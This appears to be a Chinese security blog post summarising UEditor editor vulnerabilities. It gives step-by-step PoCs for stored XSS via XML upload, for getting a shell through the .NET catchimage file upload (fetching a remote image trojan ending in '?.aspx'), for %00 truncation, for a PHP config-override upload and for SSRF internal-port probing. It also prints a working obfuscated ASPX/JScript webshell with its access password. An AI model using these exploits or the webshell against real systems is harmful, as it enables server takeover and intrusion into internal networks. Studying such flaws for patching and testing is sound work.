百度Ueditor编辑器漏洞总结

  1. 百度Ueditor编辑器漏洞总结
  2. XML文件上传导致存储型xss
  3. 文件上传漏洞
    1. NET版本文件上传
      1. ueditor.1.5.0.net版本
      2. ueditor.1.4.3.3net版本
      3. ueditor.1.3.6net版本
      4. 补充
  4. SSRF

百度Ueditor编辑器漏洞总结

Releases · fex-team/ueditor (github.com)

复现环境下载

UEditor是由百度web前端研发部开发的所见即所得的开源富文本编辑器

XML文件上传导致存储型xss

测试版本:php版 v1.4.3.3

image-20220823191746018

上传一个图片将,burp抓包,将uploadimage类型改为uploadfile,并且修改后缀名为xml

image-20220823192036079

image-20220823192017417

成功弹窗

文件上传漏洞

NET版本文件上传

该任意文件上传漏洞存在于1.4.3.3、1.5.0和1.3.6版本中,并且只有**.NET**版本受该漏洞影响。黑客可以利用该漏洞上传木马文件,执行命令控制服务器。

ueditor.1.5.0.net版本

起一个http服务,弄一个图片马的连接

source[]参数值改为图片木马地址,并在结尾加上“?.aspx”即可getshell,利用POC:

POST /ueditor/net/controller.ashx?action=catchimage

中间省略各种 Header

source%5B%5D=http%3A%2F%2F[IP]/1.gif?.aspx

ueditor.1.4.3.3net版本

构造一个HTML:

<form action="http://[目标 IP]/ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">
  <p>shell addr: <input type="text" name="source[]" /></p >
  <input type="submit" value="Submit" />
</form>

本地打开后填写一个远端可访问的图片马地址并提交。如下的马是可用的。

GIF89a
<script runat="server" language="JScript">
   function popup(str) {
       var q = "u";
       var w = "afe";
       var a = q + "ns" + w; var b= eval(str,a); return(b);
  }
</script>
<% popup(popup(System.Text.Encoding.GetEncoding(65001). GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJoZWxsbyJd")))); %>

访问口令为 hello。

ueditor.1.3.6net版本

比较古早的版本,还没有解决 00 截断的问题。为了使大马能够被正常解析,需要将 %00 置于 .asp 后面,这样上传的时候被当成 test.asp.jpg,解析的时候被当成 test.asp。注意不是纯文本的 %00,而是 URL-decode 过的不可见字符。另外,没做过混淆的大马可能只在本地测试时能过。

补充

PHP 相应版本也有文件上传问题。贴个 PoC:

POST http://localhost/ueditor/php/action_upload.php?action=uploadimage&CONFIG[imagePathFormat]=ueditor/php/upload/fuck&CONFIG[imageMaxSize]=9999999&CONFIG[imageAllowFiles][]=.php&CONFIG[imageFieldName]=fuck HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 222
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/60.0.3112.78 Safari/537.36
Content-Type: multipart/form-data; boundary=——WebKitFormBoundaryDMmqvK6b3ncX4xxA
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
———WebKitFormBoundaryDMmqvK6b3ncX4xxA
Content-Disposition: form-data; name="fuck"; filename="fuck.php"
Content-Type: application/octet-stream
<?php 
phpinfo();
?>
———WebKitFormBoundaryDMmqvK6b3ncX4xxA—

注意,shell 路径由 CONFIG[imagePathFormat]=ueditor/php/upload/fuck 决定,按照 PoC 中所给条件,则访问路径应当是 http://localhost/ueditor/php/upload/fuck.php。

SSRF

开发语言:JSP

版本:1.4.3

1.4.3.1 版本就修复了这个问题。

该版本的 SSRF 触发点:

/jsp/controller.jsp?action=catchimage&source[]=

/jsp/getRemoteImage.jsp?upfile=

/php/controller.php?action=catchimage&source[]=

所以可以构造出 http://1.1.1.1:8080/cmd/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png

更多 PoC:

/ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1/favicon.ico?.jpg

/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif

/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif

通过修改 source 参数,能够探查内网相关端口。有道翻译网站出过 SSRF 问题,导致内网内容可被直接访问。

提交后的返回信息很容易判断,只要 state 出现 Unicode 编码,那必然是失败了(用中文提示如何如何失败)。

找不到环境了,github上面好像修了?


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。